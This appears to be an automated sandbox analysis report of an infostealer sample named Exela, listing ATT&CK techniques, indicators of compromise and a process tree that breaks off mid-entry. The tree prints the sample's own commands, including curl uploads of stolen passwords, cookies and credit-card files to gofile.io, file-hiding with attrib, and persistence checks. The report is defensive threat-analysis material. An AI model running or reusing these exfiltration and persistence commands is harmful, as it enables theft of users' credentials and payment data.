exelastealer | 52ef255b9571f7824404083153f0ccc67b098b7dbc2154d5d5b9b5fcbc5880a5

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	builder.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
1632	cmd.exe
1864	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SOLARA.EXE	SOLARA.EXE

Executes dropped EXE 8 IoCs

pid	Process
4396	Valid.exe
2004	builder.exe
992	BOUND.EXE
2152	SOLARA.EXE
1316	SVCHOST.EXE
376	WINDOWS COMMAND.EXE
4984	SVCHOST.EXE
3424	SOLARA.EXE

Loads dropped DLL 64 IoCs

pid	Process
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4396	Valid.exe
4984	SVCHOST.EXE
4984	SVCHOST.EXE
4984	SVCHOST.EXE
3424	SOLARA.EXE
3424	SOLARA.EXE
3424	SOLARA.EXE
3424	SOLARA.EXE
3424	SOLARA.EXE
3424	SOLARA.EXE
4984	SVCHOST.EXE
4984	SVCHOST.EXE
3424	SOLARA.EXE
4984	SVCHOST.EXE
4984	SVCHOST.EXE
3424	SOLARA.EXE
3424	SOLARA.EXE
3424	SOLARA.EXE
4984	SVCHOST.EXE
3424	SOLARA.EXE
4984	SVCHOST.EXE
4984	SVCHOST.EXE
3424	SOLARA.EXE
4984	SVCHOST.EXE
4984	SVCHOST.EXE
3424	SOLARA.EXE

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyPythonScript = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ONEFIL~1\\Valid.pyw"	Valid.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs

Web Service

T1102

flow	ioc
33	discord.com
34	discord.com
67	discord.com
92	discord.com
94	discord.com
95	discord.com
96	discord.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
49	api.ipify.org
39	ip-api.com
48	api.ipify.org

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

Network Service Discovery

T1046

pid	Process
3952	cmd.exe
3768	ARP.EXE

Checks system information in the registry 2 TTPs 1 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	Valid.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System32\Builder.exe	Valid.exe
File opened for modification	C:\Windows\System32\Builder.exe	Valid.exe

Enumerates processes with tasklist 1 TTPs 5 IoCs

persistence privilege_escalation

Process Discovery

T1057

pid	Process
3976	tasklist.exe
3012	tasklist.exe
1400	tasklist.exe
852	tasklist.exe
3488	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4252	cmd.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4984-397-0x00007FFFE18E0000-0x00007FFFE1D45000-memory.dmp	upx
behavioral1/memory/4984-399-0x00007FFFF4E10000-0x00007FFFF4E1F000-memory.dmp	upx
behavioral1/memory/4984-398-0x00007FFFF4570000-0x00007FFFF4594000-memory.dmp	upx
behavioral1/memory/4984-402-0x00007FFFF20A0000-0x00007FFFF20B9000-memory.dmp	upx
behavioral1/memory/4984-401-0x00007FFFF43F0000-0x00007FFFF43FD000-memory.dmp	upx
behavioral1/memory/4984-403-0x00007FFFE5AD0000-0x00007FFFE5AFC000-memory.dmp	upx
behavioral1/memory/4984-404-0x00007FFFF0DA0000-0x00007FFFF0DBE000-memory.dmp	upx
behavioral1/memory/4984-405-0x00007FFFDDA90000-0x00007FFFDDBFD000-memory.dmp	upx
behavioral1/memory/4984-400-0x00007FFFF3A00000-0x00007FFFF3A19000-memory.dmp	upx
behavioral1/memory/4984-408-0x00007FFFDD660000-0x00007FFFDD9D4000-memory.dmp	upx
behavioral1/memory/4984-409-0x00007FFFDD400000-0x00007FFFDD4B6000-memory.dmp	upx
behavioral1/memory/4984-407-0x00007FFFE18E0000-0x00007FFFE1D45000-memory.dmp	upx
behavioral1/memory/4984-411-0x00007FFFEFF40000-0x00007FFFEFF54000-memory.dmp	upx
behavioral1/memory/4984-416-0x00007FFFEAD20000-0x00007FFFEAD35000-memory.dmp	upx
behavioral1/memory/4984-419-0x00007FFFF0DA0000-0x00007FFFF0DBE000-memory.dmp	upx
behavioral1/memory/4984-418-0x00007FFFE0E70000-0x00007FFFE0E92000-memory.dmp	upx
behavioral1/memory/4984-417-0x00007FFFDD2E0000-0x00007FFFDD3F8000-memory.dmp	upx
behavioral1/memory/4984-415-0x00007FFFEB3D0000-0x00007FFFEB3E4000-memory.dmp	upx
behavioral1/memory/4984-414-0x00007FFFF20A0000-0x00007FFFF20B9000-memory.dmp	upx
behavioral1/memory/4984-413-0x00007FFFF3A00000-0x00007FFFF3A19000-memory.dmp	upx
behavioral1/memory/4984-412-0x00007FFFF45A0000-0x00007FFFF45B0000-memory.dmp	upx
behavioral1/memory/4984-410-0x00007FFFF4570000-0x00007FFFF4594000-memory.dmp	upx
behavioral1/memory/4984-406-0x00007FFFE1880000-0x00007FFFE18AE000-memory.dmp	upx
behavioral1/memory/4984-421-0x00007FFFDDA90000-0x00007FFFDDBFD000-memory.dmp	upx
behavioral1/memory/4984-430-0x00007FFFE1860000-0x00007FFFE187E000-memory.dmp	upx
behavioral1/memory/4984-429-0x00007FFFDD400000-0x00007FFFDD4B6000-memory.dmp	upx
behavioral1/memory/4984-428-0x00007FFFDD660000-0x00007FFFDD9D4000-memory.dmp	upx
behavioral1/memory/4984-427-0x00007FFFF4770000-0x00007FFFF477A000-memory.dmp	upx
behavioral1/memory/4984-426-0x00007FFFE1E50000-0x00007FFFE1E61000-memory.dmp	upx
behavioral1/memory/4984-425-0x00007FFFE04B0000-0x00007FFFE04FD000-memory.dmp	upx
behavioral1/memory/4984-424-0x00007FFFE59C0000-0x00007FFFE59D9000-memory.dmp	upx
behavioral1/memory/4984-423-0x00007FFFF4EE0000-0x00007FFFF4EF7000-memory.dmp	upx
behavioral1/memory/4984-422-0x00007FFFE1880000-0x00007FFFE18AE000-memory.dmp	upx
behavioral1/memory/4984-432-0x00007FFFDEB40000-0x00007FFFDF2E1000-memory.dmp	upx
behavioral1/memory/4984-431-0x00007FFFEFF40000-0x00007FFFEFF54000-memory.dmp	upx
behavioral1/memory/4984-433-0x00007FFFE0070000-0x00007FFFE00A6000-memory.dmp	upx
behavioral1/memory/4984-523-0x00007FFFFA2C0000-0x00007FFFFA2CD000-memory.dmp	upx
behavioral1/memory/4984-540-0x00007FFFF4EE0000-0x00007FFFF4EF7000-memory.dmp	upx
behavioral1/memory/4984-541-0x00007FFFE59C0000-0x00007FFFE59D9000-memory.dmp	upx
behavioral1/memory/4984-542-0x00007FFFE04B0000-0x00007FFFE04FD000-memory.dmp	upx
behavioral1/memory/4984-560-0x00007FFFE0E70000-0x00007FFFE0E92000-memory.dmp	upx
behavioral1/memory/4984-556-0x00007FFFF45A0000-0x00007FFFF45B0000-memory.dmp	upx
behavioral1/memory/4984-555-0x00007FFFEFF40000-0x00007FFFEFF54000-memory.dmp	upx
behavioral1/memory/4984-551-0x00007FFFDDA90000-0x00007FFFDDBFD000-memory.dmp	upx
behavioral1/memory/4984-570-0x00007FFFDEB40000-0x00007FFFDF2E1000-memory.dmp	upx
behavioral1/memory/4984-550-0x00007FFFF0DA0000-0x00007FFFF0DBE000-memory.dmp	upx
behavioral1/memory/4984-544-0x00007FFFF4570000-0x00007FFFF4594000-memory.dmp	upx
behavioral1/memory/4984-543-0x00007FFFE18E0000-0x00007FFFE1D45000-memory.dmp	upx
behavioral1/memory/4984-644-0x00007FFFF4770000-0x00007FFFF477A000-memory.dmp	upx
behavioral1/memory/4984-659-0x00007FFFE1880000-0x00007FFFE18AE000-memory.dmp	upx
behavioral1/memory/4984-662-0x00007FFFEB3D0000-0x00007FFFEB3E4000-memory.dmp	upx
behavioral1/memory/4984-661-0x00007FFFF45A0000-0x00007FFFF45B0000-memory.dmp	upx
behavioral1/memory/4984-660-0x00007FFFEFF40000-0x00007FFFEFF54000-memory.dmp	upx
behavioral1/memory/4984-658-0x00007FFFE1860000-0x00007FFFE187E000-memory.dmp	upx
behavioral1/memory/4984-657-0x00007FFFDDA90000-0x00007FFFDDBFD000-memory.dmp	upx
behavioral1/memory/4984-656-0x00007FFFF0DA0000-0x00007FFFF0DBE000-memory.dmp	upx
behavioral1/memory/4984-655-0x00007FFFE5AD0000-0x00007FFFE5AFC000-memory.dmp	upx
behavioral1/memory/4984-654-0x00007FFFF20A0000-0x00007FFFF20B9000-memory.dmp	upx
behavioral1/memory/4984-653-0x00007FFFF43F0000-0x00007FFFF43FD000-memory.dmp	upx
behavioral1/memory/4984-652-0x00007FFFF3A00000-0x00007FFFF3A19000-memory.dmp	upx
behavioral1/memory/4984-651-0x00007FFFEAD20000-0x00007FFFEAD35000-memory.dmp	upx
behavioral1/memory/4984-650-0x00007FFFF4570000-0x00007FFFF4594000-memory.dmp	upx
behavioral1/memory/4984-649-0x00007FFFF4E10000-0x00007FFFF4E1F000-memory.dmp	upx
behavioral1/memory/4984-648-0x00007FFFFA2C0000-0x00007FFFFA2CD000-memory.dmp	upx

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3584	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 3 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x0007000000023472-120.dat	pyinstaller
behavioral1/files/0x0008000000023431-157.dat	pyinstaller
behavioral1/files/0x000300000001e3e6-192.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	builder.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

Wi-Fi Discovery

T1016.002

pid	Process
996	cmd.exe
3012	netsh.exe

System Network Connections Discovery 1 TTPs 1 IoCs

Attempt to get a listing of network connections.

System Network Connections Discovery

T1049

pid	Process
2200	NETSTAT.EXE

Collects information from the system 1 TTPs 1 IoCs

Uses WMIC.exe to find detailed system information.

Data from Local System

T1005

pid	Process
3488	WMIC.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
4088	WMIC.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
5100	ipconfig.exe
2200	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4688	systeminfo.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5112	schtasks.exe
3412	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1864	powershell.exe
1864	powershell.exe
1864	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	992	BOUND.EXE
Token: SeIncreaseQuotaPrivilege	3104	wmic.exe
Token: SeSecurityPrivilege	3104	wmic.exe
Token: SeTakeOwnershipPrivilege	3104	wmic.exe
Token: SeLoadDriverPrivilege	3104	wmic.exe
Token: SeSystemProfilePrivilege	3104	wmic.exe
Token: SeSystemtimePrivilege	3104	wmic.exe
Token: SeProfSingleProcessPrivilege	3104	wmic.exe
Token: SeIncBasePriorityPrivilege	3104	wmic.exe
Token: SeCreatePagefilePrivilege	3104	wmic.exe
Token: SeBackupPrivilege	3104	wmic.exe
Token: SeRestorePrivilege	3104	wmic.exe
Token: SeShutdownPrivilege	3104	wmic.exe
Token: SeDebugPrivilege	3104	wmic.exe
Token: SeSystemEnvironmentPrivilege	3104	wmic.exe
Token: SeRemoteShutdownPrivilege	3104	wmic.exe
Token: SeUndockPrivilege	3104	wmic.exe
Token: SeManageVolumePrivilege	3104	wmic.exe
Token: 33	3104	wmic.exe
Token: 34	3104	wmic.exe
Token: 35	3104	wmic.exe
Token: 36	3104	wmic.exe
Token: SeDebugPrivilege	376	WINDOWS COMMAND.EXE
Token: SeIncreaseQuotaPrivilege	3104	wmic.exe
Token: SeSecurityPrivilege	3104	wmic.exe
Token: SeTakeOwnershipPrivilege	3104	wmic.exe
Token: SeLoadDriverPrivilege	3104	wmic.exe
Token: SeSystemProfilePrivilege	3104	wmic.exe
Token: SeSystemtimePrivilege	3104	wmic.exe
Token: SeProfSingleProcessPrivilege	3104	wmic.exe
Token: SeIncBasePriorityPrivilege	3104	wmic.exe
Token: SeCreatePagefilePrivilege	3104	wmic.exe
Token: SeBackupPrivilege	3104	wmic.exe
Token: SeRestorePrivilege	3104	wmic.exe
Token: SeShutdownPrivilege	3104	wmic.exe
Token: SeDebugPrivilege	3104	wmic.exe
Token: SeSystemEnvironmentPrivilege	3104	wmic.exe
Token: SeRemoteShutdownPrivilege	3104	wmic.exe
Token: SeUndockPrivilege	3104	wmic.exe
Token: SeManageVolumePrivilege	3104	wmic.exe
Token: 33	3104	wmic.exe
Token: 34	3104	wmic.exe
Token: 35	3104	wmic.exe
Token: 36	3104	wmic.exe
Token: SeIncreaseQuotaPrivilege	4584	WMIC.exe
Token: SeSecurityPrivilege	4584	WMIC.exe
Token: SeTakeOwnershipPrivilege	4584	WMIC.exe
Token: SeLoadDriverPrivilege	4584	WMIC.exe
Token: SeSystemProfilePrivilege	4584	WMIC.exe
Token: SeSystemtimePrivilege	4584	WMIC.exe
Token: SeProfSingleProcessPrivilege	4584	WMIC.exe
Token: SeIncBasePriorityPrivilege	4584	WMIC.exe
Token: SeCreatePagefilePrivilege	4584	WMIC.exe
Token: SeBackupPrivilege	4584	WMIC.exe
Token: SeRestorePrivilege	4584	WMIC.exe
Token: SeShutdownPrivilege	4584	WMIC.exe
Token: SeDebugPrivilege	4584	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4584	WMIC.exe
Token: SeRemoteShutdownPrivilege	4584	WMIC.exe
Token: SeUndockPrivilege	4584	WMIC.exe
Token: SeManageVolumePrivilege	4584	WMIC.exe
Token: 33	4584	WMIC.exe
Token: 34	4584	WMIC.exe
Token: 35	4584	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4488 wrote to memory of 4396	4488	Valid.exe	83
PID 4488 wrote to memory of 4396	4488	Valid.exe	83
PID 4396 wrote to memory of 376	4396	Valid.exe	84
PID 4396 wrote to memory of 376	4396	Valid.exe	84
PID 4396 wrote to memory of 2760	4396	Valid.exe	92
PID 4396 wrote to memory of 2760	4396	Valid.exe	92
PID 2760 wrote to memory of 2004	2760	cmd.exe	93
PID 2760 wrote to memory of 2004	2760	cmd.exe	93
PID 2760 wrote to memory of 2004	2760	cmd.exe	93
PID 2004 wrote to memory of 992	2004	builder.exe	94
PID 2004 wrote to memory of 992	2004	builder.exe	94
PID 2004 wrote to memory of 2152	2004	builder.exe	95
PID 2004 wrote to memory of 2152	2004	builder.exe	95
PID 2004 wrote to memory of 1316	2004	builder.exe	96
PID 2004 wrote to memory of 1316	2004	builder.exe	96
PID 992 wrote to memory of 3104	992	BOUND.EXE	98
PID 992 wrote to memory of 3104	992	BOUND.EXE	98
PID 2004 wrote to memory of 376	2004	builder.exe	100
PID 2004 wrote to memory of 376	2004	builder.exe	100
PID 1316 wrote to memory of 4984	1316	SVCHOST.EXE	101
PID 1316 wrote to memory of 4984	1316	SVCHOST.EXE	101
PID 2152 wrote to memory of 3424	2152	SOLARA.EXE	102
PID 2152 wrote to memory of 3424	2152	SOLARA.EXE	102
PID 3424 wrote to memory of 2348	3424	SOLARA.EXE	103
PID 3424 wrote to memory of 2348	3424	SOLARA.EXE	103
PID 4984 wrote to memory of 804	4984	SVCHOST.EXE	105
PID 4984 wrote to memory of 804	4984	SVCHOST.EXE	105
PID 4984 wrote to memory of 3984	4984	SVCHOST.EXE	107
PID 4984 wrote to memory of 3984	4984	SVCHOST.EXE	107
PID 4984 wrote to memory of 2956	4984	SVCHOST.EXE	108
PID 4984 wrote to memory of 2956	4984	SVCHOST.EXE	108
PID 4984 wrote to memory of 5024	4984	SVCHOST.EXE	109
PID 4984 wrote to memory of 5024	4984	SVCHOST.EXE	109
PID 4984 wrote to memory of 3120	4984	SVCHOST.EXE	110
PID 4984 wrote to memory of 3120	4984	SVCHOST.EXE	110
PID 2956 wrote to memory of 4584	2956	cmd.exe	117
PID 2956 wrote to memory of 4584	2956	cmd.exe	117
PID 3984 wrote to memory of 4088	3984	cmd.exe	115
PID 3984 wrote to memory of 4088	3984	cmd.exe	115
PID 3120 wrote to memory of 3488	3120	cmd.exe	116
PID 3120 wrote to memory of 3488	3120	cmd.exe	116
PID 4984 wrote to memory of 4472	4984	SVCHOST.EXE	118
PID 4984 wrote to memory of 4472	4984	SVCHOST.EXE	118
PID 4472 wrote to memory of 3020	4472	cmd.exe	120
PID 4472 wrote to memory of 3020	4472	cmd.exe	120
PID 4984 wrote to memory of 2648	4984	SVCHOST.EXE	121
PID 4984 wrote to memory of 2648	4984	SVCHOST.EXE	121
PID 4984 wrote to memory of 444	4984	SVCHOST.EXE	149
PID 4984 wrote to memory of 444	4984	SVCHOST.EXE	149
PID 444 wrote to memory of 3976	444	cmd.exe	125
PID 444 wrote to memory of 3976	444	cmd.exe	125
PID 2648 wrote to memory of 4992	2648	cmd.exe	126
PID 2648 wrote to memory of 4992	2648	cmd.exe	126
PID 4984 wrote to memory of 4252	4984	SVCHOST.EXE	127
PID 4984 wrote to memory of 4252	4984	SVCHOST.EXE	127
PID 4252 wrote to memory of 5020	4252	cmd.exe	129
PID 4252 wrote to memory of 5020	4252	cmd.exe	129
PID 4984 wrote to memory of 244	4984	SVCHOST.EXE	130
PID 4984 wrote to memory of 244	4984	SVCHOST.EXE	130
PID 244 wrote to memory of 2672	244	cmd.exe	132
PID 244 wrote to memory of 2672	244	cmd.exe	132
PID 4984 wrote to memory of 1244	4984	SVCHOST.EXE	133
PID 4984 wrote to memory of 1244	4984	SVCHOST.EXE	133
PID 1244 wrote to memory of 5112	1244	cmd.exe	135

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5020	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Valid.exe
"C:\Users\Admin\AppData\Local\Temp\Valid.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4488
- C:\Users\Admin\AppData\Local\Temp\onefile_4488_133725618729045342\Valid.exe
  C:\Users\Admin\AppData\Local\Temp\Valid.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Checks system information in the registry
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:4396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "c:\windows\system32\builder.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2760
  - - \??\c:\windows\system32\builder.exe
      c:\windows\system32\builder.exe
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2004
    - - C:\Users\Admin\AppData\Local\Temp\BOUND.EXE
        
        "C:\Users\Admin\AppData\Local\Temp\BOUND.EXE"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:992
      - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3104
    - - C:\Users\Admin\AppData\Local\Temp\SOLARA.EXE
        
        "C:\Users\Admin\AppData\Local\Temp\SOLARA.EXE"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2152
      - C:\Users\Admin\AppData\Local\Temp\SOLARA.EXE
        
        "C:\Users\Admin\AppData\Local\Temp\SOLARA.EXE"
        6⤵
        Drops startup file
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3424
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        7⤵
        
        PID:2348
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cspasswords.txt" https://store4.gofile.io/uploadFile"
        7⤵
        
        PID:1236
        
        C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cspasswords.txt" https://store4.gofile.io/uploadFile
        8⤵
        
        PID:2836
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscookies.txt" https://store4.gofile.io/uploadFile"
        7⤵
        
        PID:2088
        
        C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscookies.txt" https://store4.gofile.io/uploadFile
        8⤵
        
        PID:4244
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscreditcards.txt" https://store4.gofile.io/uploadFile"
        7⤵
        
        PID:1460
        
        C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cscreditcards.txt" https://store4.gofile.io/uploadFile
        8⤵
        
        PID:3812
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csautofills.txt" https://store4.gofile.io/uploadFile"
        7⤵
        
        PID:3356
        
        C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csautofills.txt" https://store4.gofile.io/uploadFile
        8⤵
        
        PID:4516
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cshistories.txt" https://store4.gofile.io/uploadFile"
        7⤵
        
        PID:680
        
        C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\cshistories.txt" https://store4.gofile.io/uploadFile
        8⤵
        
        PID:3656
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csbookmarks.txt" https://store4.gofile.io/uploadFile"
        7⤵
        
        PID:4972
        
        C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin\AppData\Local\Temp\csbookmarks.txt" https://store4.gofile.io/uploadFile
        8⤵
        
        PID:5044
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/BackupApprove.svgz" https://store4.gofile.io/uploadFile"
        7⤵
        
        PID:3208
        
        C:\Windows\system32\curl.exe
        
        curl -F "file=@C:\Users\Admin/Desktop/BackupApprove.svgz" https://store4.gofile.io/uploadFile
        8⤵
        
        PID:460
    - - C:\Users\Admin\AppData\Local\Temp\SVCHOST.EXE
        
        "C:\Users\Admin\AppData\Local\Temp\SVCHOST.EXE"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1316
      - C:\Users\Admin\AppData\Local\Temp\SVCHOST.EXE
        
        "C:\Users\Admin\AppData\Local\Temp\SVCHOST.EXE"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:4984
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        7⤵
        
        PID:804
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:3984
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        8⤵
        Detects videocard installed
        
        PID:4088
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:2956
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get Manufacturer
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4584
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "gdb --version"
        7⤵
        
        PID:5024
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:3120
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        
        PID:3488
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:4472
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path Win32_ComputerSystem get Manufacturer
        8⤵
        
        PID:3020
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:2648
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        8⤵
        
        PID:4992
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:444
        
        C:\Windows\system32\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        
        PID:3976
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe""
        7⤵
        Hide Artifacts: Hidden Files and Directories
        Suspicious use of WriteProcessMemory
        
        PID:4252
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe"
        8⤵
        Views/modifies file attributes
        
        PID:5020
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "schtasks /query /TN "ExelaUpdateService""
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:244
        
        C:\Windows\system32\schtasks.exe
        
